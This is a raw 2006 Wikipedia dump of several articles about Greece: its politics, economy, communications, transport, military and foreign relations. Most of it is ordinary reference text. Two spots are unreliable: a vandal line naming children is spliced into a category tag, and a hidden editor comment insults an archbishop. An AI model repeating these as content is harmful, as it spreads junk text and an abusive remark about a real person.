Greece is divided in [[Peripheries of Greece|13 peripheries]], further divided into [[Prefectures of Greece|51 prefectures]]. The prefectures are each headed by a prefect (nomarch), who is elected by direct popular vote. The thirteen regional administrative districts ([[Peripheries of Greece|peripheries]]), each including a number of prefectures are headed by a regional governor (periferiarch), appointed by the Minister of the Interior. In northern Greece and in greater [[Athens]], three areas have an additional administrative position between the nomarch and periferiarch. This official, known as the president of the prefectural local authorities or &quot;super nomarch,&quot; is elected by direct popular vote. Although municipalities and villages have elected officials, they do not have an adequate independent tax base and must depend on the central government for a large part of their financial needs. Consequently they are subject to numerous central government controls. This also leads to extremely low municipal taxes (usually around 0.2% or less).
Greece includes 1 autonomous region ([[Mount Athos]]). 
==International organization participation==
Greece is member of the Australia Group, BIS, BSEC, [[Council of Europe|CE]], CERN, EAPC, EBRD, ECE, EIB, [[EU]], FAO, G- 6, IAEA, IBRD, ICAO, [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], ICFTU, ICRM, IDA, IEA, IFAD, IFC, IFRCS, IHO, ILO, IMF, IMO, Inmarsat, Intelsat, [[Interpol]], IOC, IOM, ISO, ITU, MINURSO, NAM (guest), [[NATO]], NEA, NSG, OAS (observer), [[OECD]], OPCW, OSCE, PCA, [[Southeast European Cooperative Initiative|SECI]], [[UN]], UNCTAD, [[UNESCO]], UNHCR, UNIDO, UNIKOM, UNMIBH, UNOMIG, UPU, [[World Customs Organization|WCO]], [[WEU]], WFTU, [[World Health Organization|WHO]], WIPO, WMO, WToO, WTrO, [[Zangger Committee]]

==Politicians of Greece==
* [[Alekos Alavanos]]
* [[Dimitris Avramopoulos]]
* [[Maria Damanaki]]
* [[Manolis Glezos]]
* [[Konstantinos Karamanlis]]
* [[Costas Karamanlis]]
* [[Georgios Karatzaferis]]
* [[Nikos Konstantopoulos]]
* [[Vassilis Leventis]]
* [[Andreas Papandreou]]
* [[George Papandreou, junior]]
* [[George Papandreou, senior]]
* [[Aleka Papariga]]
* [[Karolos Papoulias]]
* [[Antonis Samaras]]
* [[Costas Simitis]]
* [[Costis Stephanopoulos]]
* [[Dimitris Tsovolas]]
* and others...

== Political issues==

=== Education ===

Under the Greek constitution, education is the responsibility of the state. Most Greeks attend public primary and secondary schools. There are a few private schools, which must meet the standard curriculum of and are supervised by the Ministry of Education. The Ministry of Education oversees and directs every aspect of the public education process at all levels, including hiring all teachers and professors and producing all required textbooks.

=== Religion ===

The [[Greek Orthodox Church]] is under the protection of the State, which pays the clergy's salaries, and [[Orthodox Christianity]] is the &quot;''prevailing''&quot; religion of Greece according to the Constitution. The Greek Orthodox Church is self-governing but under the spiritual guidance of the Ecumenical Patriarch in [[Constantinople]]. About 98% of Greek citizens consider themselves members of the Orthodox Church.

The [[Muslim]] minority, concentrated in [[Thrace]], was given legal status by provisions of the [[Treaty of Lausanne]] in 1923 and is Greece's only officially recognized religious minority.  There are small [[Catholic]] communities on some of the [[Cyclades]], remnants of the long [[Venetian]] rule over the islands.  The recent influx of (mostly illegal) immigrants from Eastern Europe and the Third World has an expectedly varied multi-religious profile ([[Catholic]], [[Muslim]], [[Hindu]] etc).

Under the [[2000]] constitutional amendment, complete separation of church and state is being attempted, which clashes with both the population and the clergy. For example, numerous protests have occurred for the removal of the Religious Denomination entry from the National ID card. However, outside the Orthodox majority, many believe that Greece had and still has a serious problem of religious freedom. [http://www.highbeam.com/library/doc0.asp?docid=1P1:2238149&amp;dtype=0~0&amp;dinst=&amp;author=Jean%20Cohen&amp;title=GREEK%20PARLIAMENT%20REJECTS%20PLAN%20TO%20END%20RELIGION%20LISTING%20ON%20I.D.&amp;date=04/09/1993&amp;refid=ency_botnm] [http://www.highbeam.com/library/doc0.asp?docid=1P1:42775936&amp;dtype=0~0&amp;dinst=&amp;author=PATRICK%20QUINN%2C%20AP&amp;title=Greek%20archbishop%20blames%20Jews%20in%20ID%20dispute&amp;date=03/16/2001&amp;refid=ency_botnm] 
&lt;!-- Christodoulos is a fucking moron, anyway. Project2501a --&gt;

=== Media ===

In comparative [[Reporters_Without_Borders| NGO studies]] , Greece ranks among the highest in press freedom worldwide. 

The Greek [[Mass media|media]], collectively, is a very influential institution &amp;mdash; usually aggressive, sensationalist. As with many countries, most of the media are owned by businessmen with commercial interests in other sectors of the economy. There are often accusations of newspapers, magazines, and radio and TV channels being used to promote their commercial enterprises as well as to seek political influence.

In 1994, the Ministry of Press and Information was established to deal with media and communication issues. ERT S.A., a public corporation supervised by the Minister of Press, operates three national television channels and five national radio channels. The Minister of Press also serves as the primary government spokesperson.

The Secretary General of Press and Information prepares the semi-official Athens News Agency (ANA) Bulletin.  Along with [[Associated Press|AP]] and [[Reuters]], this is a primary source of information for the Greek press. The Ministry of Press and Information also issues the semi-official Macedonian News Agency (MPE) Bulletin, which is distributed throughout the Balkan region. For international news, [[CNN]] is a particular influence in the Greek market; the major TV channels often use it as a source. State and private TV stations also use [[Eurovision]] and [[Visnews]] as sources. While few papers and stations have overseas correspondents, those few correspondents abroad can be very influential.

In 1988, a new law provided the legal framework for the establishment of private radio stations and, in 1989, private TV stations. According to the law, supervision of radio and television is exercised by the National Radio and Television Council. In practice, however, official licensing has been delayed for many years. Because of this, there has been a proliferation of private radio and TV stations, as well as European satellite channels, including [[Euronews]].  More than 1,000 radio stations were operating before March 2002, when the government implemented plans to reallocate TV frequencies and issue licenses as authorized by the 1993 Media Law, effectively reducing this number.

=== Military Service ===
12 months for all males of 18 years of age; Compulsory with fines and imprisonment if denied. Members of families with 3 children serve a reduced time of 9 months. Military Service denial can also be substituted by a longer public service. 
Limited steps have been taken to turn the Greek military into a semi-professional army in the last years, leading to the gradual decrease of the service from 18 to 12 months and the insertion of a great number of &quot;professional&quot; military personnel in most vertices of the force.

==External links==
*[http://ekloges.ypes.gr/en/ Greek election results], via the Greek Ministry of Internal Affairs
*[http://www.ekloges.gr/ ekloges.gr] Greek Elections
*[http://www.primeminister.gr Official website of the Prime Minister of Greece]

{{NATO}}

[[Category:Politics of Greece| ]]
[[he:&amp;#1508;&amp;#1493;&amp;#1500;&amp;#1497;&amp;#1496;&amp;#1497;&amp;#1511;&amp;#1492; &amp;#1513;&amp;#1500; &amp;#1497;&amp;#1493;&amp;#1493;&amp;#1503;]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Greece</title>
    <id>12113</id>
    <revision>
      <id>41792045</id>
      <timestamp>2006-03-01T20:01:16Z</timestamp>
      <contributor>
        <username>Skartsis</username>
        <id>993617</id>
      </contributor>
      <text xml:space="preserve">{| border=1 cellspacing=0  cellpadding=4 width=300 style=&quot;float:right; border:1px solid gray; border-collapse:collapse; font-size:90%; margin:0 0 .5em 1em;&quot;
!align=&quot;center&quot; bgcolor=&quot;darkblue&quot; colspan=&quot;3&quot;|&lt;big&gt;Economy of Greece&lt;/big&gt;
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Currency
|colspan=&quot;2&quot; valign=&quot;top&quot;|1 [[Euro]] = 100 cents 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Fiscal year
|colspan=&quot;2&quot; valign=&quot;top&quot;|  calendar year 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Trade Organisations
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[WTO]] and full member of The [[EU]]
|-
!align=&quot;center&quot; bgcolor=&quot;darkblue&quot; colspan=&quot;3&quot;|Statistics
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Gross domestic product|GDP]] Ranking (2004) 
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[List of countries by GDP (nominal)|28th]] (nominal) by volume; [[List of countries by GDP (nominal) per capita|27th]] per capita (nominal)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP (2005)
|colspan=&quot;2&quot; valign=&quot;top&quot;|$226.4 billion(nominal)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP growth rate (2004)
|colspan=&quot;2&quot; valign=&quot;top&quot;|4.4%-4.7%
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP per Capita (2004)
|colspan=&quot;2&quot; valign=&quot;top&quot;|$22,000
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP by sector (2004)
|colspan=&quot;2&quot; valign=&quot;top&quot;|agriculture (7%), industry (22%), services (71%)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Inflation]] rate (2004)
|colspan=&quot;2&quot; valign=&quot;top&quot;|&gt;2.9%
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Pop below [[poverty line]] (2001)
|colspan=&quot;2&quot; valign=&quot;top&quot;|N/A
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Labour force (2003)
|colspan=&quot;2&quot; valign=&quot;top&quot;|4.4m
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Labour force by occupation (2001)
|colspan=&quot;2&quot; valign=&quot;top&quot;|agriculture (12%), industry (20%), services (68%)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Unemployment]] rate (2005)
|colspan=&quot;2&quot; valign=&quot;top&quot;|8.8% 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main Industries
|colspan=&quot;2&quot; valign=&quot;top&quot;| tourism; food and tobacco processing, textiles; chemicals, metal products; mining, petroleum
|-
!align=&quot;center&quot; bgcolor=&quot;darkblue&quot; colspan=&quot;3&quot;|Trading Partners
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Imports]] (2004 est)
|colspan=&quot;2&quot; valign=&quot;top&quot;|$54.28bn
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main Partners (2004.)
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[Germany]] 13.3%, [[Italy]] 12.8%, [[France]] 6.4%, [[Netherlands]] 5.5%, [[Russia]] 5.5%, [[United States|U.S.]] 4.4%, [[UK]] 4.2%, [[South Korea]] 4.1%
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Exports (2004 est.)
|colspan=&quot;2&quot; valign=&quot;top&quot;|$15.5bn
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main Partners (2004)
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[Germany]] 13.2%, [[Italy]] 10.3%, [[UK]] 7.5%, [[Bulgaria]] 6.3%, [[United States|U.S.]] 5.3%, [[Cyprus]] 4.6%, [[Turkey]] 4.5%, [[France]] 4.2%
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Public Debt
|colspan=&quot;2&quot; valign=&quot;top&quot;|112% of GDP (2004)
|}


The '''Greek economy''' is growing fast after the implementation of stabilization policies in recent years. [[Greece]] remains a net [[import]]er of industrial and capital goods, foodstuffs, and [[petroleum]]. Leading [[export]]s are manufactured goods, food and beverages, petroleum products, [[cement]], chemicals, and [[pharmaceuticals]].

== Recent economic history ==

The development of the modern Greek economy began in the late [[19th century|19th]] and early [[20th century|20th]] centuries with the adoption of social and industrial legislation and protective tariffs and the creation of the first industrial enterprises. Industry at the turn of the century consisted primarily of food processing, shipbuilding, and the manufacture of textiles and simple consumer products. 

The evolution of the Greek economy in relation to that of Western Europe can best be represented by comparative measures of  standard of living. The per capita income (purchasing power terms) of Greece was 65% that of France in 1850, 50% in 1900, 62% in 1938, 55% in 1970 and 76% in 2005 (Paul Bairoch, 'Europe's GNP 1800-1975', J. of European Economic History, 5, pp. 273-340 (1976); Angus Maddison, 'Monitoring the World Economy 1820-1992', OECD (1995); CIA, The World Factbook, data for 2005).      

Greece achieved high rates of growth in the [[1960s]] and early [[1970s]] due to large foreign investments. In the mid-[[1970s]], Greece suffered declines in its [[Gross domestic product|GDP]] growth rate, ratio of investment to GDP, and productivity, and real labor costs and oil prices rose. In [[1981]], protective barriers were removed when Greece joined the [[European Community]]. The government pursued expansionary policies, which fueled inflation and caused [[balance of payments|balance-of-payment]] difficulties. Growing public sector deficits were financed by borrowing. In October [[1985]], supported by a 1.7 billion [[European Currency Unit]] (ECU) loan from the [[European Union]] (EU), the government implemented a two-year &quot;stabilization&quot; program with limited success. Public sector inefficiency and excessive spending caused [[government borrowing]] to increase; by the end of [[1992]], general [[government debt]] exceeded 100% of GDP.

Greece continued to rely on foreign borrowing to finance its deficits. Public sector external debt was $32 billion at the end of [[1998]]. The general government debt was $119 billion at the end of 1998, or 105.5% of GDP. Greece's external debt was $32 billion at the end of 1998.

Greece, as a member of the [[European Union]], strived to reduce its budget deficit and inflation rate in order to meet the prerequisites for the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]]. Although growth remained above the convergence program guidelines, high budget deficits and deficient infrastructure continued to dampen the economy's long-term potential growth rate.

In May 1994, the Bank of Greece successfully managed a currency crisis triggered by the lifting of currency restrictions on short-term capital movements. The bank contained speculative attacks on the drachma by tightening its monetary policy and raising interest rates dramatically: For a few days, interest rates pushed as high as 180%. In less than 2 months, with speculation on the drachma no longer a threat, interest rates returned to normal levels. A similar wave of speculation was beaten back in the fall of 1997, following the [[Asian financial crisis]].

One of the successes of recent Greek economic policy has been the reduction of inflation rates. For more than 20 years, inflation hovered in the double digits, but a combination of fiscal consolidation, wage restraint, and strong drachma policies resulted in lowered inflation. Inflation fell to 2.0% by mid-1999. High interest rates have been historicallz a significant problem. The government's strong drachma policy and Public Sector Borrowing Requirement (PSBR) made the lowering of interest rates difficult, but progress was made in 1997-99 and rates gradually declined in line with inflation.

In 2001 Greece joined the Economic and Monetary Union (eurozone). Interest rate policy is now in the hands of the European Central Bank.

Due to the more stable macroeconomic framework and lower interest rates, growth has picked up significantly. In 2003 the Greek economy grew at an estimated rate of 4.7, the fastest in the EU. A part of this has been sustained by the investment in infrastructure in the run up to the Summer Olympic Games 2004 to be held in Athens.

Recent economic performance has been satisfying. However there are two challenges for policymakers: a)to avoid an economic slump after the enthusiasm of the Games has gone and the EU farm subsidies get cut in 2006 and b) to proceed with stuctural economic reforms, especially in the areas of [[social insurance]], [[social welfare|welfare]], and the [[labour market]] which will encourage further [[investments]], lower the country's high [[unemployment]] and promote growth and economic stability. The first step was taken on the 30th June 2005 with substantial reforms of the insurance system for bank employees against fierce opposition from the unions and the main opposition political party [[PASOK]] with laws liberalising working hours in [[retail]] [[trade]] and employment and providing for public/private financing initiatives of public works and services to follow over the summer.

In 2004, [[Eurostat]], the statistical arm of the [[European Commission]] (after an audit performed by the New Democracy government) revealed that the budgetary statistics, on the basis of which Greece joined the European monetary union, had been massively [http://epp.eurostat.cec.eu.int/cache/ITY_PUBLIC/GREECE/EN/GREECE-EN.PDF falsified] by the previous Greek government (mostly by delaying accounting for huge military expenses; the country, though, had met the criteria for entry into the Eurozone even with revised numbers, when calculated with the [[Eurostat]] methodology still in force at the time of Greece's application for entry).    

== Principal sectors ==

Services, including [[tourism]], make up the largest and fastest-growing sector of the Greek economy, accounting for about 70% of GDP in 2002.

Tourism is a major source of foreign exchange earnings. Although it is one of the country's most important industries, it has been slow to expand and suffers from poor infrastructure. With more than 14 million tourists visiting Greece in 2002, the tourist industry faced declining revenues, partly due to the strong [[drachma]]. Revenue from tourism exceeded $5.2 billion in 1998, having increased somewhat as Greek tourism benefited from problems in neighboring countries and an economic recovery in the European Union.

The [[manufacturing]] sector accounts for about 13% of GDP. The [[food]] industry is one of the most profitable and fastest-growing areas of manufacturing, with significant export potential. High-technology equipment production, especially for [[telecommunications]], is also a fast-growing sector. Other important areas include textiles, building materials, machinery, transport equipment, and electrical appliances.

Greece is traditionally a seafaring nation and has built an impressive shipping industry based on its geographic location and the entrepreneurial ability of its ship owners. The Greek-owned fleet (all flags), one of the three largest worldwide, totalled 3,358 ships (134 million DWT) in 1998.

Construction activity (about 10% of GDP) has increased due to infrastructure projects partially financed by European Union structural funds and the public investment for the Olympic Games in Athens. Up to 1999, about $20 billion has gone to projects to modernize and develop Greece's transportation network. The centerpiece of this effort was the construction of the new international airport El. Venizelos near Athens and the new ring road &quot;Attiki Odos&quot; to connect it with the city and the south of the country. In addition, the Athens [[metro|metro]] system is being greatly expanded, and construction or expansion of roads, railway lines, and bridges is either underway or planned.

== EU membership ==

Greece must realign its economy as part of an extended transition to full EU membership that began in 1981. Greek businesses are adjusting to competition from EU firms and the government has had to liberalize its economic and commercial regulations and practices. However, Greece has been granted waivers from certain aspects of the EU's 1992 single market program.

Historically, Greece has been a net beneficiary of the EU budget. Net payments to Greece totaled $4.9 billion in 1998, representing 4.2% of GDP. Net inflows were estimated at about $5 billion in 1998. These funds contribute significantly to Greece's current accounts balance and reduce the state budget deficit.

Greece is receiving additional substantial support from the EU through the [[Delors II]] package. In July 1994, the Greek government and the EU agreed on a final plan which provided Greece 16.6 billion [[European Currency Unit|ECU]] for the period 1994-1998, of which 14 billion ECU was from the Community Support Framework and 2.6 billion ECU was from the Cohesion Fund. This level of assistance was continued in 1999 and finances major public works and economic development projects, upgrades competitiveness and human resources, improves living conditions, and addresses disparities between poorer and more developed regions of the country

==See also==
*[http://www.oecd.org/greece/ OECD's Greece country Web site] and [http://www.oecd.org/eco/surveys/greece/ OECD Economic Survey of Greece]
* [[Economy of Europe]]
* [[Greece]]
*[[Agriculture in Greece]]

{{EU countries}}
{{OECD}}
{{WTO}}
Layla is the worst ever in the world and so is Ben! Not Natalie!economies]]

[[el:Οικονομία της Ελλάδας]]
[[es:Economía de Grecia]]
[[fr:Économie de la Grèce]]
[[pt:Economia da Grécia]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Greece</title>
    <id>12114</id>
    <revision>
      <id>41503931</id>
      <timestamp>2006-02-27T20:33:10Z</timestamp>
      <contributor>
        <ip>83.171.226.246</ip>
      </contributor>
      <text xml:space="preserve">==Telecommunications==
[[OTE]] is the main player in fixed-line telephony. There are also some smaller companies as Vivodi and Q-telecom.

[[Telephone]]s - main lines in use: 5.431 million (1997).

Telephone system:
*modern networks reach all areas; microwave radio relay carries most traffic; extensive open-wire network; submarine cables to off-shore islands
*domestic: 100% digital; microwave radio relay, open wire, and submarine cable
*international: 100% digital; tropospheric scatter; 8 submarine cables; [[satellite]] earth stations - 2 [[Intelsat]] (1 [[Atlantic Ocean]] and 1 [[Indian Ocean]]), 1 [[Eutelsat]], and 1 Inmarsat (Indian Ocean region)
===Mobile Telecommunications===
Greece has four mobile telecom companies; Cosmote, Vodafone, TIM and [[Q-Telecom]].

Number of active lines: 10,876,544 (Sept 2003), which means more than 100% market penetration.

===Satellite Telecommunications===
Greece owns one Telecommunications Satellite, named Hellasat, witch provides telecommunication services in a major part of Eastern Europe and Western Asia. 
===Internet===
[[Internet Service Provider]]s (ISPs): 23 (1999). Internet penetration: 33.9% (2005).
[[Country code]] (Top-level domain): .gr 
==Mass Media==
[[Radio]] [[broadcasting|broadcast]] stations:
The state [[radio]] and [[television]] [[broadcasting]] agency is [[Elliniki Radiophonia Tileorassi|ERT]] (Elliniki Radiofonia kai Tileorasi - Greek Radio &amp; Television).  The station owns 3 national television stations, [[ET-1]], [[New Hellenic Television|NET]] (Nea Elliniki Tileorasi) and [[ET-3]] which is based out of [[Thessaloniki]]. In January 2006, ERT launched Digital Terrestrial Television with 3 channels. By March 2006, at least 65% of the Greek population will be able to view Digital TV for free with the use of set-top boxes. ERT also operates 7 national radio stations, including [[ERA 5]], the [[Voice of Greece]], which broadcasts internationally via shortwave.  ERT is based in Athens.  

The first non-[[pirate]] private radio station to broadcast in Greece was [[Athena 9,84 FM]], in 1987.  Private television began in November, 1989 when [[Mega Channel]] began operating.  Today, over 1,000 radio stations and approximately 150 television stations broadcast in Greece.  Digital satellite broadcasting began in 1999 by a company called Nova.

Radios:
5.02 million (1997)
Television broadcast stations:64 (plus about 1,000 low-power repeaters); also two stations in the US Armed Forces Network (1999)
Televisions: 2.54 million (1997)

==Post==
ELTA is the state-owned postal service provider of Greece.

:''See also :'' [[Greece]] [[OTE]]

[[Category:Communications by country|Greece]]
[[Category:Communications in Greece]]

[[el:Τηλεπικοινωνίες στην Ελλάδα]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Greece</title>
    <id>12115</id>
    <revision>
      <id>39351985</id>
      <timestamp>2006-02-12T16:06:29Z</timestamp>
      <contributor>
        <ip>213.157.203.232</ip>
      </contributor>
      <comment>/* Merchant marine: */</comment>
      <text xml:space="preserve">===Railways:===
&lt;br&gt;total:2,548 km
&lt;br&gt;standard gauge:1,565 km 
1.435-m gauge (36 km electrified; 23 km double track)
&lt;br&gt;narrow gauge: 961 km 1.000-m gauge; 22 km 0.750-m gauge (a rack type railway for steep grades)

City with [[Metro|underground]] railway system: [[Athens]]

===Highways:===
&lt;br&gt;total: 117,000 km
&lt;br&gt;paved: 107,406 km (including 1030 km of expressways - early 2006 estimation)
&lt;br&gt;unpaved: 9,594 km (1996 est.)

===Waterways:===
80 km; system consists of three coastal canals; including the Corinth Canal (6 km) which crosses the Isthmus of Corinth connecting the Gulf of Corinth with the Saronic Gulf and shortens the sea voyage from the Adriatic to Peiraiefs (Piraeus) by 325 km; and three unconnected rivers

===Pipelines:===
crude oil 26 km; petroleum products 547 km

===Ports and harbors:===
Alexandroupolis, Elefsis, Irakleion (Crete), Kavala, Kerkyra, Chalkis, Igoumenitsa, Lavrion, Patrai, Peiraiefs (Piraeus), Thessaloniki, Volos, Rhodes

*[http://www.ferryto.co.uk/greece.html] Greece and Greek Islands Ferries

===Merchant marine:===
&lt;br&gt;total: 3338 ships (1,000 GRT or over) totaling 109,377,819GRT/182,540,868DWT[http://www.nee.gr/htm/greekowned.htm]
&lt;br&gt;ships by type: bulk 273, cargo 60, chemical tanker 22, combination bulk 5, combination ore/oil 8, container 43, liquified gas 5, multi-functional large load carrier 1, passenger 12, passenger/cargo 2, petroleum tanker 245, refrigerated cargo 3, roll-on/roll-off 19, short-sea passenger 75, specialized tanker 4, vehicle carrier 2 (1999 est.)

===Airports:===
Total: 80 (1999 est.)
'''With paved runways:'''
&lt;br&gt;''total:'' 64
&lt;br&gt;''over 3,047 m:'' 6
&lt;br&gt;''2,438 to 3,047 m:'' 15
&lt;br&gt;''1,524 to 2,437 m:'' 18
&lt;br&gt;''914 to 1,523 m:'' 17
&lt;br&gt;''under 914 m:'' 8 (1999 est.)
'''Airports - with unpaved runways:'''
&lt;br&gt;''total:'' 16
&lt;br&gt;''over 3,047 m:'' 1
&lt;br&gt;''1,524 to 2,437 m:'' 1
&lt;br&gt;''914 to 1,523 m:'' 1
&lt;br&gt;''under 914 m:'' 12 (1999 est.)
'''Heliports:''' 2 (1999 est.)

:''See also :'' [[Greece]]

[[Category:Transportation in Greece|*]]

[[bg:&amp;#1058;&amp;#1088;&amp;#1072;&amp;#1085;&amp;#1089;&amp;#1087;&amp;#1086;&amp;#1088;&amp;#1090; &amp;#1074; &amp;#1043;&amp;#1098;&amp;#1088;&amp;#1094;&amp;#1080;&amp;#1103;]]
[[fr:Transport en Grèce]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Greece</title>
    <id>12116</id>
    <revision>
      <id>40326781</id>
      <timestamp>2006-02-19T21:07:19Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Military
| color=#CC3333
| age=18 years of age
| availability=2,668,872 (2002 est.)
| service=2,034,192 (2002 est.)
| reaching age=7,976 (2002 est.)
| active=58,399
| amount=$6.12 billion (FY99/00 est.)
| percent GDP=4.91% (FY99/00 est.)
}}
The '''[[armed forces]]''' of [[Greece]] consist of the 
*[[Hellenic Army]]
*[[Hellenic Navy]]
*[[Hellenic Air Force]]
*[[Hellenic Coast Guard]]

The civilian authority for the Greek military is the [[Hellenic Republic Ministry of National Defence|Ministry of National Defence]].

Greece currently has universal compulsory military service for males; however, this system is likely to be changed soon.  See [[Conscription in Greece]] for more information.

Women may serve in the Greek military, but cannot be conscripted.

==Component forces and their organization==
The Greek military is overseen by the '''Greek National Defense General Staff''' &amp;mdash; Γενικό Επιτελείο Εθνικής Άμυνας.  

===Hellenic Army &amp;mdash; Ελληνικός Στρατός===
[[Image:GES_Greece.PNG|right|50px]]
*'''Hellenic Army General Staff''' &amp;mdash; Γενικό Επιτελείο Στρατού (ΓΕΣ)
*Strength
** Active Duty : 109,266
**Mobilization Strength: 365,000

''For more information see the main article on the'' [[Hellenic Army]].

===Hellenic Navy &amp;mdash; Ελληνικό Πολεμικό Ναυτικό===
[[Image:GEN Greece.PNG|right|50px]]
*'''Hellenic Admiralty''' &amp;mdash; Γενικό Επιτελείο Ναυτικού (ΓΕΝ)
**'''Chief of Naval Operations''' &amp;mdash; Αρχηγός Γενικού Επιτελείου Ναύτικου (Α/ΓΕΝ)
**'''Admiralty Board''' &amp;mdash; Ανώτατο Ναυτικό Συμβούλιο (ΑΝΣ)
**'''Deputy Chief of Naval Operations''' &amp;mdash; Υπαρχηγός ΓΕΝ (Υ/ΓΕΝ)

''For more information, see the main article on the'' [[Hellenic Navy]].

===Hellenic Air Force &amp;mdash; Ελληνική Πολεμική Αεροπορία===
[[Image:Haf.PNG|right|50px]]
*'''Hellenic Air Force General Staff''' &amp;mdash; Γενικό Επιτελείο Αεροπορίας (ΓΕΑ)

''For more information, see the main article on the'' [[Hellenic Air Force]].

=== Hellenic Coast Guard &amp;mdash; Ελληνικό Λιμενικό Σώμα ===

Administered by the '''[[Hellenic Republic Ministry of Mercantile Marine|Ministry of Mercantile Marine]]''' (Υπουργείο Εμπορικής Ναυτιλίας)

''For more information, see the article'' [[Hellenic Coast Guard]].

==References and links==
===See also===
* [[Conscription#Greece|Conscription in Greece]]
* [[Greece]]
* [[Hellenic Republic Ministry of National Defense]]
* [[List of Greek military bases]]
* [[Military]]
* [[Military history of Greece]]
* [[Military history of Greece during World War II]]
* [[401 military hospital|401 Γενικό Νοσοκομίο Στρατού - 401 General Army Hospital]]
* [[251 Geniko Nosokomio Aeroporias|251 Γενικό Νοσοκομίο Αεροπορίας - 251 General Hospital of Hellenic Airforce]]

===External links===
*[http://www.defencetalk.com/pictures/showgallery.php/cat/4222 Greece Military Pictures at DefenceTalk.com Military Gallery]
* [http://www.army.gr/ Hellenic Army General Staff]
* [http://www.hellenicnavy.gr/ Hellenic Navy General Staff]
* [http://www.haf.gr/ Hellenic Air Force General Staff]
* [http://www.stratologia.gr/ Greek Selective Service Administration Website]
* [http://www.mod.gr/ Greek Ministry of Defense]
* [http://www.army.gr/html/GR_Army/dieuthinseis/401/index.html Official Web Site of 401 GSNA Military Hospital in Greek]
* [http://www.omhroi.gr/ Greek anti-conscription/conscientious objector website]
* [http://www.stoxos.gr/ Greek pro-conscription website]
*[http://www.defencetalk.com Global Military &amp; Defence News, Pictures and Discussions] DefenceTalk.com

{{Greek Military}}
{{NATO}}

[[Category:Militaries|Greece]]
[[Category:Military of Greece|Military of Greece]]

[[bg:Армия на Гърция]]
[[ru:Армия Греции]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Greece</title>
    <id>12117</id>
    <revision>
      <id>41025275</id>
      <timestamp>2006-02-24T15:49:24Z</timestamp>
      <contributor>
        <username>Naddy</username>
        <id>28830</id>
      </contributor>
      <minor />
      <comment>/* Bilateral relations with Turkey */ diacritic</comment>
      <text xml:space="preserve">{{Politics of Greece}}
Greece was elected by the [[United Nations General Assembly]] to the [[United Nations Security Council]], on [[15 October 2004]] , as a non-permanent member for 2005 and 2006.
Prominent issues in Greek foreign policy include  the enduring [[Cyprus]] problem, Greek-Turkish differences over the [[Aegean Sea|Aegean]], a dispute over the name of the [[Former Yugoslav Republic of Macedonia]], and relations with the [[United States|USA]].

=Relations per geographic area=
==South East Europe==

===Bilateral relations with Turkey ===
'''''Main article [[Greco-Turkish relations]]''''' 

Greece and Turkey carried out a population exchange in the [[1920s]] in an attempt to reduce tensions between the two countries. It was not a complete exchange of minorities, as significant Greek communities remained in [[Istanbul]] and Turkish communities stayed in [[Western Thrace]]. Nevertheless, the strategy worked, and the two sides enjoyed good relations and cooperation in the [[1930s]]. They began to deteriorate in the mid-[[1950s]], however, mainly because of [[Cyprus]]. Relations have been steadily improving again since the turn of the century.

The decade of [[1950s]] was marked by the actions of [[EOKA]], a Cypriot nationalist group fighting the [[United Kingdom|British]] colonial government and demanding a unification of Cyprus with Greece (''[[enosis#Enosis|enosis]]''). There have been claims that EOKA was also targeting the [[Turkish Cypriot]] community. 

In [[1960]], Some members of EOKA were indignant over the fact that ''enosis'' was not granted, and formed [[EOKA#EOKA-B|EOKA-B]] to instigate a [[coup]] against [[Presidents of Cyprus|President of Cyprus]] [[Makarios III]]. The [[July 15]], [[1974]] coup was supported by the [[Greek military junta of 1967-1974|Greek military junta]] in [[Athens]]. Turkey reacted with a military invasion that helped bring about the fall of the Greek military dictatorship. It also led to the [[de facto]] division of Cyprus. The atrocities instigated by both Greek and Turkish Cypriots on the island led to the demolishment of the military junta and the restitution of democracy in Greece.

The Turkish government has claimed that the invasion was justified by the [[1960 Treaty of Guarantee|guarantorship agreement]] between [[Turkey]], [[Greece]] and the [[United Kingdom]]. [[EOKA]] and [[EOKA#EOKA-B|EOKA-B]] no longer exist, but Turkish troops remain on the island, and a separate state was proclaimed in [[1975]] under the name [[Turkish Federated State of Northern Cyprus]]. The name was changed to [[Turkish Republic of Northern Cyprus]] on [[15 November]], [[1983]]. This self proclaimed state is not a UN member and is not recognized by any nation except [[Turkey]]. [[Azerbaijan]] maintains unofficial relations with the &quot;TRNC&quot; but has not officially recognized it except for a resolution from a subnational legislative body.

{{dubious}}
Since then, Greece has strongly supported Greek-Cypriot efforts, calling for the removal of Turkish troops and the restoration of a unified state. The Republic of Cyprus has received strong support from Greece in international forums. Greece has a military contingent on Cyprus, and Greek officers fill some key positions in the Greek Cypriot National Guard, as permitted by the constitution of Cyprus. The United Nations proclaimed the northern part of the island as occupied territory and the Republic of Cyprus has not changed its inaugural constitution: it always considers northern Cypriots as citizens of the Republic and grants them with the privileges of the southern Cypriots. 

